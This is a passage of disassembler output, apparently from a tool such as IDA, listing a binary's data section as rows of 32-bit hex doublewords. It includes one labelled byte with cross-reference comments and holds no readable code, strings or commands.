6B5CAD5Eh dd 8125DE8h, 0BDF63607h, 97104942h, 399AF73Eh, 87240788h dd 91240255h, 0B48E0868h, 1EDB8D81h, 5AA5FC93h, 41331500h dd 47CBC3BCh, 0B7C9004Ah, 0CDC4D7DCh, 0DE0021A1h, 260B153h dd 1A7C0E3h, 89183B8Ch, 0C8CBD383h, 0E40250A1h, 0B4D12962h dd 5D84826Bh, 52B8A0AEh, 92D0EC5Fh, 9222283Ch, 7A9C00D5h dd 5640EB1Fh, 5C0FF723h, 0E5D268A2h, 0C400DE85h, 776A5D58h dd 0AA381DE7h, 0E1274E41h, 1361A42Fh, 3A0D6DC1h, 0DF0C9100h dd 0FC06C9h, 38820BEBh, 0E19A5598h, 0A661FD1Dh, 43F3FA80h dd 613C990h, 0C5A58E59h, 0A3FCA8DFh, 3FAE93Fh, 3EF8FF9Dh dd 3D45879Ah, 0FC090818h, 0DA6B00CEh, 447E368Ah, 0E80E7C53h dd 0A0588F40h, 0BA593A4Bh, 0D7A6002Fh, 89B66F9Fh, 0F100F099h dd 0EF5A2673h, 0CB257Ah, 0A1419257h, 8A8B235Dh, 0A96B4500h dd 80C47C04h, 0D6403D9h, 0C9107820h, 0FEFD4C8h, 0D3DBAA00h dd 0C5E7FB53h, 92F49Ah, 952D5D37h, 0A4BA4182h, 62A52C00h dd 0CCA602F2h, 721CF6E6h, 380A00D2h, 22824D0Dh, 6300695Eh dd 37230E4h, 927133h, 741EB6FEh, 98A2C570h, 0B4B8891Dh dd 0C87A6FC2h, 0DDBA804Ah, 1E88818Ah, 7B4E51AFh, 90E0BBBDh dd 39FAA387h, 4A0023EEh, 2714A4B7h, 5D631Bh, 0B67032D8h dd 585CDEF6h, 0C16E9100h, 5B352A7Fh, 146D3E92h, 0EC550076h dd 39EF067Ch, 46006451h, 2CF41849h, 0EA4EB5h, 0AE17C66Dh dd 0D5DB2F9Bh, 2808A512h, 0E8D23A02h, 0B9988067h, 41647Dh dd 43627BCCh, 0EA6342B6h, 0AE4F8007h, 0AAA0B1E7h, 3A73EBh dd 66CE462Fh, 18C44C2Eh, 0CB002990h, 7EB72870h, 0E59273h dd 14997DECh, 0D6096D96h, 0B6B9FC1Fh, 22BCF8C0h, 0A00512h dd 8FC126BEh, 1056366Eh, 0D346BF07h, 606F8DA3h, 0C047819Bh dd 57D900CEh, 3CB0940Eh, 60006BDEh, 1AB36D77h, 0A2828Ah dd 0F4CF39FCh, 0DAFB931h, 0C8292F28h, 0C9049h, 80E12DB7h dd 3BAE1EC4h, 9400C562h, 0A72F5E05h, 1B014C8Eh, 701FB668h dd 40EA95BFh, 802308h, 5D3E2FC9h, 3C98963Ah, 0A78D717h dd 2E921E00h, 1DFB107h, 26CF30D3h, 8020B887h, 84E70D78h dd 0E44F41h, 2C1E60E1h, 0EF8F4CB4h, 0CFAE2500h, 9CBD7313h dd 0DAE8FD08h, 805200B3h, 6E5F3A99h, 0F400D1E3h, 0BCABB9FBh dd 28C42C47h, 24D47139h, 484F0F2h, 802F935Ah, 847D829Ah dd 739C5200h, 12ACD5D0h, 12B5F418h, 1E1CE06Ch, 0BA6F0040h dd 92070D1Bh, 8025043Dh, 0BB6BD2AEh, 488039h, 37C664C8h dd 0E384A579h, 0F0B60A0Ch, 0DE2824h, 1E6AEF57h, 0CE7CA363h dd 12AD1100h, 8CA4BC83h, 0D6BE00CCh, 8EF509EDh, 5D002326h dd 636F2CE7h, 42B0F6h, 1E2544A5h, 84C6E2D2h, 60078A70h dd 0BB76E3F0h, 883A7700h, 0A065F899h, 3E5AA0h, 41519FD3h dd 7A5395E1h, 660084F0h, 6B8DC868h, 3CE9DC64h, 0C051809Dh dd 0CD32E0FBh, 3ADB0012h, 3DC28AE5h, 38008844h, 0E435985Ah dd 75F5D269h, 5A902BEh, 4B1D4AB4h, 7B839080h, 0D700C04Fh dd 5BD5F4A1h, 12758809h, 0D28A44h, 0D43DB9D4h, 4498D03Bh dd 0D6042700h, 348F547Bh, 18EF8C7h, 8938566Ah, 0F0E1FE42h dd 0DF0998B1h, 20E56654h, 8629AF0Ch, 8A200FAh, 69F41E7h dd 6290DA07h, 0C79E9800h, 8F4D6CB1h, 61C8035Ah, 58F64F68h dd 0A90019EBh, 2652777Fh, 0F4D0BD6h, 0AE2B1C1Dh, 2043F560h dd 4A00043Eh, 0F9FB5075h, 7969CFFh, 8F0273DDh, 2F840051h dd 3A50FC4Dh, 9C00AED3h, 30DFC104h, 6098F44h, 4FE99D39h dd 604DB00Dh, 9F4214B4h, 0D1D00040h, 44A061E6h, 0C31200FFh dd 415302D7h, 20001E42h, 4A97716Ch, 91C93Dh, 11B02629h dd 28D304FEh, 8C578201h, 0FA5342F9h, 2AE0834h, 941A90Bh dd 806049BDh, 510098CAh, 0F2EC0A7Dh, 1330B88h, 0A2A02B02h dd 3031E352h, 2703FC77h, 669A7778h, 7CB2F3FFh, 160500A0h dd 3763CACh, 3200BAA6h, 0DCF1FFB3h, 1A35FB5h, 0A552FE38h dd 0F0EEC737h, 0F0A0E228h, 7200D906h, 44D7FFC2h, 9FF0D44Ch dd 86D55FC0h, 2A0275F8h, 0C7E2CD6h, 0FC90801Ah, 304C55h dd 164A5FF2h, 194B54E4h, 8008E551h, 0C648A609h, 30E785h dd 0EFD87CAh, 0AD183C4h, 0E8B583Fh, 0E566163Bh, 7C80A24Ah dd 0B26D2545h, 3E7F0578h, 0E87697CBh, 4FB900F1h, 8257D68Dh dd 2E40053Ah, 0C0735BF3h, 6A9A052h, 0FCA5C000h, 0CA678B38h dd 89348E4h, 3180473Ah, 5C27169Dh, 0A3126257h, 0F00026E2h dd 0CA1A8CF4h, 0DF073936h, 0A650A02Dh, 5771900Eh, 0B765E060h dd 0B95681h, 5889456Bh, 87DE75BAh, 2A1FC704h, 0DC80A5E1h dd 48A96120h, 0A8005CFAh, 59EEB19Eh, 5700F8F0h, 6E66B549h dd 3AC221A2h, 741706E1h, 0FA730061h, 76F3AF36h, 18782A00h dd 0A13BEED2h, 107400FDh, 40A0C16h, 697365FBh, 9600BA7Eh dd 42917DEDh, 7B5AAEBh, 666CCFE9h, 919B5F7h, 601075D0h dd 0A600E54Eh, 5422D7EEh, 0C1D917h, 0F289694h, 0DFFF56C4h dd 8E47C80Bh, 0AFD821E9h, 0C1E07967h, 8A731FADh, 864D6h dd 6003DD5Dh, 6F003050h, 0A94493E3h, 790F547h, 6E08870Fh dd 274031B6h, 95832010h, 0F64D7100h, 0E78AE0B8h, 0B04849ADh dd 0CD943800h, 3CCE4FF1h, 264D7A01h, 44789D6Eh, 0BE6CCF40h dd 5D9C03CCh, 63B1768Ch, 5FC51DF0h, 9962B600h, 6481DAEDh dd 8CC3185Eh, 631790D9h, 8BE8D85Eh, 722C5A0Fh, 242CCCB5h dd 0F4CDF01Ch, 45796461h, 0BF718915h, 5860FAEDh, 1D9B0E34h dd 1039F233h, 10ABF0DDh, 0DE98D100h, 1BCCF670h, 0F19D06EAh dd 4843CBD2h, 0BC309703h, 0C7ABBF4Ah, 0F3D738C0h, 3A5900EDh dd 8CEE1290h, 3C04F9A5h, 0FC27C96Dh, 0C22CCC83h, 0ADB8C044h dd 6E42053Dh, 0EA541345h, 0C0EAC3C0h, 37690190h, 0D38E3CB6h dd 0B13FF8F3h, 10454407h, 58F0CA84h, 5C7490D4h, 7D90B5h dd 0AE24CBC7h, 0BBAD2B17h, 0A378C800h, 0AC2BE2Dh, 7DC30C60h dd 3519B3A4h, 0B959C600h, 280B9113h, 0B6740AD5h, 0A4628Ch dd 4D112BDDh, 1600D9E9h, 9830FB4Fh, 262DE166h, 80EC5393h dd 12E6B077h, 0C474D2C2h, 221580Bh, 7D648EFBh, 0E7005B56h dd 0B4BFD0D5h, 0C4BB01A3h, 2BB933F6h, 0D165D0B5h, 25003D7Ah dd 0D5829C8Ah, 0F9BDA0Fh, 0EF544EE1h, 2B77A9E0h, 0DE1E859Fh dd 0D6022D0Eh, 0E024F708h, 481C51F0h, 3B1D4986h, 7550418Ah dd 0E452441Dh, 0E2043A28h, 291057C4h, 18607380h, 0F5C55CC1h dd 80267700h, 3FF2ED66h, 801A043Fh, 0E39D75FBh, 0FCE41F0h dd 0A2C8025Eh, 10E75820h, 0D3002C8Dh, 8583D1A9h, 0F5179E7Eh dd 0CC35007Ah, 0E13DC088h dd 7C6CF800h, 0F00F0C5Ch, 18357896h, 0D07AB472h, 0A80734F3h dd 0A93350C5h, 41E2B9F0h, 0AFF900CBh, 0A4E1C99Eh, 9D0091D7h dd 9B07E824h, 0E3DB54h, 53A81669h, 8DA3D209h, 73CADA01h dd 7CA229C4h, 0C0608CC5h, 0C88801AAh, 89BB7BB4h, 0A9EAC078h dd 0E2108202h, 8714DAF4h, 7500B1E3h, 7332DB5Eh, 0EBB90F03h dd 680090ECh, 0CA92F0A2h, 0AAE7BD02h, 75D5C7EFh, 22D20240h dd 6400FFE8h, 0AB2316EEh, 0D6182h, 5D1B9DA8h, 54421C40h dd 481A5A00h, 472C8F56h, 0FC22F459h, 15B7016Eh, 2180103Ch dd 0F0916153h, 5507E1E5h, 2DD86D24h, 5A477010h, 0FBB40352h dd 797CC549h, 0DEC6CEE9h, 0FFD56E40h, 35BE3A00h, 0CD0D9A95h dd 47F717EBh, 0CCB500CEh, 0FB1AE09Bh, 7708EA00h, 3FBC9554h dd 203EAFDh, 0F55F7A5h, 3840E628h, 3050E927h, 2EECEDABh dd 38D88B0Ah, 0BA00B896h, 34DD5F1Bh, 0D90400A3h, 88838579h dd 59181A10h, 0C2293111h, 19CB1873h, 5A7D117Eh, 0E66F810Eh dd 8CE5A0FDh, 31D0355h, 294184E9h, 0C4A84EBDh, 0A090022Eh dd 0F8AA3A00h, 8793B77Dh, 0C234007Eh, 0FA84AD81h, 0DB076BD2h dd 971EC5C8h, 0D83F240h, 7BAA00F1h, 704B1A78h, 4D07949Eh dd 0EF51555Dh, 0B580E9A0h, 0EF3F44Ch, 0E3FC4A42h, 7926CA03h dd 0E4B8C480h, 0F19AEF12h, 0E224C844h, 0D9413700h, 211EAF52h dd 8E3F6DCFh, 879432F9h, 0C2401E20h, 27ADBh, 24D5FC8Eh dd 0E993D8DFh, 8AC46B07h, 29209CC0h, 46A272h, 79D0D81h dd 0E675D986h, 719A5400h, 0D091C7B5h, 0E91C0069h, 34B25617h dd 47B887BEh, 6F24A900h, 0F7F61EFh, 0C33B008Dh, 3417821Fh dd 4C24A80Bh, 9700301Bh, 993F08CEh, 66F04Dh, 0EF074423h dd 0B6E66BE7h, 725D3Dh, 0C56C0115h, 0FD21EBDh, 7F3DA826h dd 416E8941h, 0C0402192h, 6300741Fh, 0F44E2A72h, 16DB56h dd 0F00EC1AAh, 910A0405h, 244C990Eh, 0E9EBC114h, 20302221h dd 0E5270264h, 0F58F72AAh, 0AB808C80h, 9D0029A5h, 3C12DC83h dd 7A72040h, 662D1556h, 50263038h, 0F3EB5E7h, 17538043h dd 499126Fh, 789C373Ah, 80760C0h, 2AF0A68Fh, 0FBEC38h dd 455E1C50h, 7B3471C7h, 93FE36h, 206490A8h, 91689CAFh dd 0D8ADBD00h, 0B977E2CCh, 99B200E4h, 0F9A2C71Bh, 51EC04EAh dd 0D631F000h, 85E6204Fh, 0D283001Ch, 0B636CE8Eh, 5713B29Ah dd 6870CDBFh, 0F94AF87h, 84B4F430h, 86E4805Ch, 39C28A26h dd 0C183B500h, 0DFB7483Ch, 98CB4C1Dh, 47D01B07h, 97FC61E8h dd 0C62BDC12h, 66A8EE07h, 982C5028h, 0FEA01B9Dh, 15C13097h dd 1393ECABh, 75749B7Fh, 59C3114h, 392B1410h, 0BB9E171Ch dd 0BDA8620Fh, 3183E300h, 18791233h, 64346B91h, 643E725Ch dd 621D04FFh, 798015D5h, 3932B79h, 8AD4B8C7h, 66C37856h dd 0CAAD89D8h, 117B3900h, 6E46C783h, 63EA92h, 481B9E21h dd 89A67196h, 984AAA00h, 681F0C2Bh, 826D01CBh, 532978C7h dd 0FE8FE428h, 0C172DD00h, 8E99A37Dh, 76F883h, 733B7B2Fh dd 59543DD4h, 21D95A00h, 0FC4B57C6h, 0C2A9007Eh, 6E864AE2h dd 9628CAC9h, 0BA4CE534h, 95FF1578h, 15D60084h, 528FB743h dd 535127DFh, 0F53441E0h, 2BB8041Eh, 94F0E78Ah, 0B9AFDC07h dd 1E11385Ch, 0CA159F69h, 89A42D17h, 0C980991Ah, 552B912Eh dd 15B97100h, 0EA947BEBh, 0F0E8E3h, 59A0BCC0h, 2AB70E2Fh dd 9F0A9D00h, 0A6605450h, 0EE871EB2h, 0D772819Bh, 0BD9868F1h dd 1FEA77A9h, 0C32A5600h, 9A035879h, 27A60092h, 1B31DEF3h dd 2200E726h, 11EA153Ah, 6468165h, 50DC91B0h, 0A200494Ah dd 6D52AC9Ah, 214D74Bh, 54A1850Eh, 0B0604381h, 90009B2Fh dd 288E6405h, 0C22DFEEh, 1A80D150h, 21C19109h, 0BCEE5C6Eh dd 189F8F8h, 7BDAEF10h, 0A0C41Bh, 70827CAEh, 7C21E29h dd 0D50C4011h, 995E51CAh, 0BB244B03h, 0C055A83Ch, 21027Dh dd 980F9B67h, 0B634052Eh, 70499460h, 353407Dh, 46A071D7h dd 87E720Ch, 555021C0h, 1EF52340h, 595E74h, 624C4FDEh dd 0FC00866Dh, 654E06BAh, 188CEF12h, 68427317h, 67009280h dd 6A167AAEh, 18CCDAD6h, 595E62A0h, 671D7B90h, 28B7B3F7h dd 0D8C72580h, 0EB180F32h, 0C6349479h, 3164EC48h, 34E5C06Ch dd 0AC18846Fh, 6039AD14h, 992003E1h, 7D7608EBh, 82C9B5C8h dd 0C031B20Dh, 0C002A86Ch, 0EE27307Ch, 7822DE11h, 8C4784h dd 0B1EE5307h, 188E0619h, 4863FC3Eh, 0A113200Ah, 0B203AC9Eh dd 6BF111h, 531D618h, 0B526C865h, 980C3Fh, 18D76846h, 0FC850269h dd 0AE9048DCh, 501F8300h, 0D115921Eh, 0D8498A00h, 2263D20Fh dd 82C50007h, 7A170A47h, 6D0E9C2Fh, 0E0151483h, 0A0C24C0Eh dd 0B70B3A9Bh, 0CF540F78h, 0B337F7h, 49E52D89h, 0E67B0109h dd 0CB9B921Eh, 552906BAh, 42294638h, 0ACF311CEh, 111ABF11h dd 0CA213C01h, 42EB223Eh, 0FA5A11A3h, 112EE611h, 0A073E9E3h dd 89448F3Ch, 3A0D1122h, 75DB9C4h, 71E9796h, 94BE1041h dd 0AA00AB9Ah, 0F91F8E77h, 7A0AD260h, 926F0154h, 4D0CDF01h dd 68AAECACh, 11192900h, 6C7ECBFAh, 370800E1h, 337F8F14h dd 4B1C778Eh, 0E45D4CD1h, 8047B60Eh, 0FBC3AA12h, 0A89700B5h dd 70B81EABh, 7D00EF68h, 0C177620Bh, 0CFA5E8h, 28FB983Ah dd 0FAD91721h, 0D66D5F0Fh, 9C50800Fh, 0FA5BA46Ch, 0E1590398h dd 0F4C52D94h, 35712CA0h, 23970D00h, 9DCE1109h, 0D4FC5001h dd 0EE17F64Ch, 77DC008Ah, 593589D1h, 0BF01B9E6h, 0C2438E7Bh dd 0FCF4526Dh, 47FACAh, 37809490h, 0A934F982h, 3BE06500h dd 0D6E264BCh, 0EA7C0066h, 9F3C3176h, 6F00569Ah, 0C2EF3E1Bh dd 0ED2D09h, 5088FACCh, 226D3C18h, 930283FEh, 0B88F3D94h dd 224414Dh, 3A30D60h, 0D7BCAAE0h, 0B6C02678h, 0B703BB6Bh dd 0CA60E4D9h, 0F5C9B090h, 3210044h, 0AC73930Bh, 47001196h dd 9D45061Ch, 0FA35B0h, 18B75054h, 0D3620EE9h, 0CE91C11Eh dd 0F03D8079h, 0C513C057h, 92E20065h, 405DC321h, 187735E5h dd 0D9592401h, 52F52A0Ch, 387BC1C8h, 0AB9CE73Ah, 69C98742h dd 0F95563B2h, 0D6082E90h, 0F2126700h, 5AA01A81h, 0C9261241h dd 257101C2h, 0C5DD8462h, 0D094C437h, 32340700h, 7BE272F0h dd 4E1C0278h, 2A57822Ch, 0DD51817Dh, 8C40778Fh, 7C0C1Dh dd 263B78EFh, 7B351FBAh, 3F913817h, 370BC000h, 0E896E6A5h dd 1E0200F9h, 919BAA54h, 42FC74C0h, 0B96D3D00h, 98DDCEABh dd 0AAEB03EDh, 41B3889Dh, 6FC05090h, 3175E300h, 0AE018424h dd 0EC7200ADh, 0D31D76CCh, 0F8012CACh, 0B45F15FEh, 5630AB14h dd 51B109F0h, 8D0442E8h, 4B0C8074h, 8C018EEAh, 9A71CFA7h dd 143440AAh, 0F9CD0317h, 138A3D21h, 0FFF270AFh, 9F1D3884h dd 7D806B6Fh, 0ABED2DEh, 3B2100CFh, 0D3ED5EF0h, 3F3B1389h dd 9000F4D7h, 7767B0C9h, 79AB0C9Bh, 0E66E00A4h, 0AF11DD23h dd 0EE00943Ah, 5438AC80h, 7AAF427h, 188DA5A2h, 9F3A00C7h dd 810B3E6Ah, 10C07h, 2AB85EDFh, 9BF0F72Bh, 0E41500A5h dd 825AE2B7h, 65002489h, 23806FD0h, 0BBB891h, 9AB908BFh dd 0C375AEFFh, 0F8BE1316h, 0C554D203h, 0E5C0BFC9h, 5140DAh dd 317235B4h, 0D3AA534h, 0FA9FF000h, 17D8A7ACh, 1BBC015Fh dd 0C868EBD9h, 0E925D4C1h, 10E87730h, 1CD0F35Eh, 803FFD93h dd 0FF94125Ch, 0A8A0F6D6h, 0AF076D70h, 4B63EA5Fh, 0C3C49392h dd 8F378801h dd 72570047h, 0AEFD1BB8h, 1F006731h, 12BDC153h, 2FED80h dd 0E4BCFE8Ah, 0F5467DA4h, 0C4103A13h, 88585C00h, 7B92FBABh dd 2EDAE4DBh, 5CE162h, 0C8346FA5h, 8B015DCBh, 40070C98h dd 1C30D2CDh, 9E140075h, 5E24D3A0h, 0BB3DE088h, 0E9F90002h dd 10BC462Ch, 813600A9h, 1ED2758Dh, 2100F48Bh, 0CB2DBECEh dd 385E5859h, 0F780A674h, 3B3604CAh, 60FA58Bh, 0E5FD7B9Dh dd 0B08061E5h, 1F2EB0FBh, 8048B281h, 0FF24BBFCh, 0DCFF2297h dd 0F50041FAh, 3A92CED4h, 505C3643h, 0D598F4h, 0CBC9C17Ch dd 94872F37h, 0D19EA000h, 1F00CF3h, 0A42C002Dh, 6FB78698h dd 0DB00E644h, 65223F8Eh, 3C1DC8ABh, 50002ED8h, 0D6212027h dd 860363C5h, 0BE0B3B3Ch, 0D1DDD00Dh, 0D4F400C7h, 0E2D3D86Fh dd 6900C280h, 0DBFAC391h, 2F2B1Ah, 0E518013Bh, 0A9B4129Eh dd 86786A05h, 8902AD85h, 43763D8Dh, 0DBF2E8F8h, 43930297h dd 671E7E3Ah, 5C9AC180h, 7972A1E1h, 0F476E000h, 0E31FAEA5h dd 0DE700089h, 37B48751h, 4F00640Bh, 1140D7CBh, 1354Ah dd 0A651EC88h, 0F50EBD18h, 0AB04B606h, 0FE1882C0h, 759C0039h dd 22D614FCh, 3C2428D9h, 6303E425h, 0C819F14Dh, 1276D8h dd 1B0B35Ch, 0B14F905h, 0CC909EF0h, 562F2A13h, 0B59CBC00h dd 7BCECAh, 1F8DEAB0h, 1FDDB73h, 11218F00h, 6A6D5329h dd 3EFACBh, 4C59977Bh, 277FECF5h, 2576577Bh, 0C8B0712h dd 51F47C01h, 0EE80C142h, 390F17BFh, 92074649h, 3313B072h dd 8C02760h, 0DABD1D4Bh, 0F721400Ah, 0D2898BA6h, 10227D07h dd 0A2704152h, 486426E3h, 0C047CC3h, 0D0FB7F83h, 3239AA44h dd 49954F00h, 0C7A53EBDh, 2CB10F51h, 83A71DDDh, 0D4BE7055h dd 0C100D8D5h, 6F5DA163h, 0FC9014ACh, 56FD0015h, 0CD22A28Fh dd 0D005168h, 42C623BEh, 1581B5h, 195785E5h, 0C3042B1Fh dd 864A7D00h, 2A937379h, 0A669038Ch, 0B7AC6A92h, 64020C88h dd 9600D9E2h, 97A78E16h, 791AB8h, 943ED6BFh, 0DFE72E18h dd 95F68600h, 9990E5DAh, 61A800A3h, 0D67582DCh, 0EFB85D8Ah dd 5A26D31Ch, 3D481200h, 37DB66h, 63DC9480h, 49F89304h dd 0F2C4A400h, 8BD5F68Eh, 32970584h, 85A8BE60h, 8CC0004Eh dd 3C660347h, 3E2CC05Ch, 80E939CEh, 1B061450h, 3E3B8D8h dd 7217B3DDh, 0E1F0C416h, 4300A7C7h, 0EF446BA0h, 1E35D373h dd 0C0FFE332h, 0DF256EE0h, 4503A52Fh, 0E6F92A44h, 8591E09Ah dd 32B7023Fh, 0D13A9BD5h, 74038C44h, 2690213Ch, 0E5B5E89Eh dd 440849E4h, 0E184007h, 4ADC51E8h, 3460F2CDh, 0FF798513h dd 0B003DFAh, 38EED220h, 3A0EA2Bh, 0E17CA50Fh, 64A0C83Eh dd 0E0181B0h, 0EDF2C651h, 9EE0D549h, 377A0057h, 0FFC72FA4h dd 0FC063246h, 4484DDE4h, 75CD0121h, 0E0E18A59h, 0D213E8E6h dd 0C9D8B7h, 9AF6C10Dh, 0CFD6E40Ah, 0C1E6790h, 5541209Dh dd 84A6937h, 0CA7D0C80h, 184862BDh, 1000457Eh, 0FFFEC0C7h dd 0A0C4Ah, 0B1C69E76h, 972F12E8h, 28179431h, 9BE48A5Bh dd 0CC37FBDh, 867FD8Eh, 70002C10h, 2E3CEB8h, 9FC72686h dd 0FD908360h, 0D930A09h, 0A1F40720h, 0CD87960h, 5F1D1612h dd 0DEB4237Bh, 92A75B80h, 77ACD001h, 0F08C84FEh, 3E942720h dd 3E0037A3h, 0B6F96BF4h, 730385A2h, 0E151FCEFh, 9C5AD8A5h dd 1D770034h, 6F6761B9h, 602B8AFh, 19DFF39h, 8E60E003h dd 0B6A800D7h, 869C6B7Ch, 27004128h, 6D4E7B99h, 64C81Bh dd 0A298936Ah, 952115A3h, 0CFF5DE00h, 0BD78AD7Ch, 4FE30041h dd 0AC9A7AD4h, 5200DF68h, 0F7A5296Fh, 727017E5h, 51F800FBh dd 2EA9A257h, 291F1EC9h, 2A40B726h, 0BB5E0E0Bh db 78h byte_520045 db 3, 4, 8Ch ; DATA XREF: ___:00437A60o ; ___:00437A78o dd 409DC837h, 90889BF2h, 0DD0103B5h, 80F4D214h, 5D474A18h dd 1A73A2A0h, 0A7005371h, 59CAF056h, 360FC4h, 27AD6C98h dd 85B17F71h, 0C001098h, 8A08774Fh, 0C7EFF7h, 0BCB3586Dh dd 49E9C2FFh, 0A1A7E00h, 849ACE88h, 9592003Dh, 562A86B7h dd 4E00DEA0h, 2959DA1Eh, 72B3A175h, 9FFA03E0h, 389B5511h dd 0DD609192h, 0DC0051F3h, 7B8D926Dh, 7A13C2h, 64620593h dd 49B67FAFh, 4B109400h, 779EA40Ch, 51D4003Fh, 0B9381106h dd 2008EB3h, 0B55405E6h, 0F3424Ah, 0DB5A274Fh, 11FB9544h dd 0A76DBF00h, 2D5455F7h, 2F010167h, 3602780Ah, 0CD1031C2h dd 56FC5076h, 9A005268h, 55349727h, 73D15EE8h, 43400038h dd 0E429A2B4h, 0BF1EC4B1h, 3F4B04CCh, 96860034h, 4F4A182h dd 0B85561Bh, 0F30A0C8h, 50515Dh, 2C1003C5h, 82D54Eh, 30845E26h dd 0E6734DA7h, 5CCF680Fh, 0C1DF4011h, 142740D8h, 93B41B56h dd 97511D00h, 0A4E52E3Ch, 9D200400h, 7BC0333Dh, 94B81FFBh dd 14214003h, 5EC38AE9h, 1FC71B00h, 0B1EB2D7Eh, 71C0F116h dd 0E61C07F8h, 0EFC58D9Eh, 4FE14462h, 6E53E860h, 1F549A00h dd 0EF678C05h, 48C0C065h, 0C1D7FE75h, 82CF0A00h, 88EA6C4Fh dd 631E00C8h, 0F35A538Fh, 0D60074D2h, 7BD371E9h, 732379h dd 0E236C547h, 0BD1CB5C7h, 0EFDE850Fh, 0DBEB12h, 13D3406Ch dd 9EE8B9FFh, 46114058h, 56E007C5h, 741F2B00h, 0D2C29FD4h dd 620901B2h, 0EF14E03h, 4BAC5001h, 0C9021258h, 600B8B5Fh dd 42B0601Eh, 48430028h, 0A6DC301Dh, 242C5B0Ah, 0AC00F8AFh dd 9AF53F71h, 87430CDAh, 2C18E684h, 54E04501h, 6CCA1455h dd 368720h, 9E8B58C3h, 527387B6h, 0F2BB1E00h, 0C64C5E30h dd 59E80060h, 421AF17Eh, 0CF00F4D4h, 2EB3DA37h, 3511F65h dd 9DBDCB45h, 0C8805E90h, 0E849F087h, 247A003Ch, 7ED4C149h dd 64760FCEh, 0EEA0481Eh, 70C29A72h, 0FA65F401h, 0EFD3F122h dd 0A0C053E1h, 0C7ED3DF8h, 0BA00C8D5h, 1651C88Bh, 1B51CC0h dd 3995744Ch, 5C3822h, 0BD90EA7h, 0E66D508Fh, 6F2400BAh dd 7F5EDC68h, 9D09F0AEh, 43EF15h, 13EB9628h, 878051Ch dd 0D0675410h, 38CDE498h, 0E6C69200h, 6190D607h, 0F6B90F79h dd 51C3F866h, 7BF18BCBh, 0D1C0F6FEh, 0E8C4C1ECh, 0ACC88866h dd 0C64A03BDh, 939DF359h, 5F05A1F8h, 80626F3Bh, 8EA8F07Bh dd 9C653D94h, 0C88898C0h, 0C026B581h, 803C6451h, 87B36D8Ah dd 6E62CFFh, 4F9B653Ch, 0B20021D5h, 0E340B039h, 0EE441B8h dd 61EF634h, 98F3EDE0h, 0D5FA1257h, 0FD63EE01h, 0D47765C5h dd 941C20h, 0BD4F9E41h, 5BA02AA3h, 0E08B5Ch, 35074BEh dd 359F74Ch, 84C04607h, 60CBA7B3h, 8A9ED000h, 0C73F1C35h dd 39B5EA06h, 640091F2h, 14A9BE13h, 15001B21h, 6A2C7184h dd 5019C8h, 65AE579Ch, 0FA31A70Dh, 3CC51409h, 8B1E80B7h dd 1CCE6B3h, 0ECD3B643h, 0FD5C48F8h, 0BAA6C04Ah, 0C40CEA14h dd 4D5E00B0h, 0E30FFD25h, 28EB0015h, 0BA4C946Bh, 14E401E7h dd 36913101h, 9B8FB52Eh, 50411F8h, 93CF2464h, 3630A0AEh dd 4CD463Fh, 0AA58D415h, 42102480h, 5E200F5h, 0D99678B0h dd 8B4CF376h, 10DBB098h, 0D6080058h, 0B240A971h, 2600E2E3h dd 12801ECEh, 0CDBD34h, 43ADF258h, 0E70C9161h, 0ECC9A571h dd 12B4CE59h, 0C67F1Fh, 0A47AA5CCh, 0C160246Bh, 5927CC10h dd 0D4FF0089h, 0B50AC3D1h, 93481505h, 231D0F54h, 0CF2D4750h dd 90C7BD03h, 0E0B86DAFh, 916C2414h, 0E8590061h, 0FE7A021Eh dd 58114100h, 35B0893Fh, 187E073Ch, 40F647BAh, 4FA8C0D6h dd 8856DE05h, 98C07704h, 0F08E5C38h, 57A300BFh, 0D3504FB1h dd 9A0795FCh, 679FB5F7h, 153074C0h, 847A58AEh, 0B38C0300h dd 7E1BCDDDh, 80C8693Ch, 35ADBD16h, 0FDAE92h, 8FA456EBh dd 0B0DC7B75h, 0BFC73100h, 6660D0ECh, 2FD20435h, 90CFB679h dd 0BBCC5D8Ch, 0F8B87A00h, 895FFA54h, 0D13300BAh, 4B8E68FCh dd 291FE48Bh, 9A0577D5h, 38D495DDh, 23E80FAh, 79282D72h dd 0D91EC16Bh, 9D47ABADh, 73EF7388h, 4CFCC0D8h, 0AA84288Fh dd 563FC3E5h, 650836A8h, 60005C71h, 59C9ACD5h, 396F87Fh dd 17CEF5E0h, 1588227Dh, 0AAEC190Bh, 1E04C200h, 94CC71F7h dd 184800E4h, 86EB1AB4h, 0F00DE8Ch, 0C179CA53h, 3A1C45FAh dd 7F033E5Dh, 0CB4AF4C0h, 22E492E0h, 4D163500h, 2C93041Ch dd 2388005Ah, 0B436DDBFh, 227EF55Fh, 87240600h, 0EDF7F825h dd 8C9D0096h, 0BFEE6510h, 2300DF70h, 1522FAFh, 5056EFh dd 9E18DB84h, 108A866Ah, 0BDC6250Bh, 198848EAh, 3F321649h dd 0E558C0C3h, 220017D3h, 0A86AB10Ah, 0C2D8EBh, 66ACF520h dd 1B25BBBCh, 0B4F4EF00h, 11BE94FEh, 0B230018h, 0BBB2689Bh dd 7002CEDh, 0C3679E81h, 0FEAFE3F0h, 4361C0BFh, 0BE39FA89h dd 81E0471h, 280049DFh, 0EB7B3027h, 0BC607843h, 0F3E50178h dd 8783EDCCh, 2BB3E420h, 0F551289Ah, 0F7F85E71h, 3F5FE8DCh dd 17AE354h, 0DA253B4Eh, 74598CCFh, 0DE005D60h, 0AD58E030h dd 989A38BFh, 5A440313h, 1BDF287Bh, 0E4309041h, 81B42DAh dd 0E48BD3Ah, 12462A68h, 0BA4E7A00h, 7400141Bh, 2B3E6637h dd 2DA553Ch, 938E3959h, 5484CCC9h, 3A7408AEh, 6001D43Ah dd 0CF209FF7h, 89C05009h, 9100597Fh, 9B7CDE30h, 0E49229AFh dd 0A6A300CBh, 8A443798h, 0E100F401h, 0B1F4A67h, 153ACCCh dd 6CF59C0h, 0F8DFBEA3h, 0AD00CBCDh, 0A595B75Ch, 3BE24Fh dd 0CAB60A51h, 0A9CFEE78h, 0BD313600h, 0C9AAC60Bh, 9BC00052h dd 0CA902BFFh, 60015C7h, 0BCB11AAFh, 1C1EE5Eh, 68E30470h dd 0D0DD4540h, 1901814Bh, 0F99CF4C6h, 1FD17E52h, 0FD359F8h dd 7A57A8C8h, 184A5FC0h, 247F3AAFh, 88E0504Fh, 0B46E009Bh dd 42907B34h, 0A9006D8Ch, 40C02DBDh, 0F32AFE9h, 1FCD22E3h dd 342F0C00h, 860C212Eh, 31378B8Dh, 0AE5F00B7h, 0C283B666h dd 42007A3Bh, 5822C8F2h, 0E066F32h, 9996D364h, 8E2385C0h 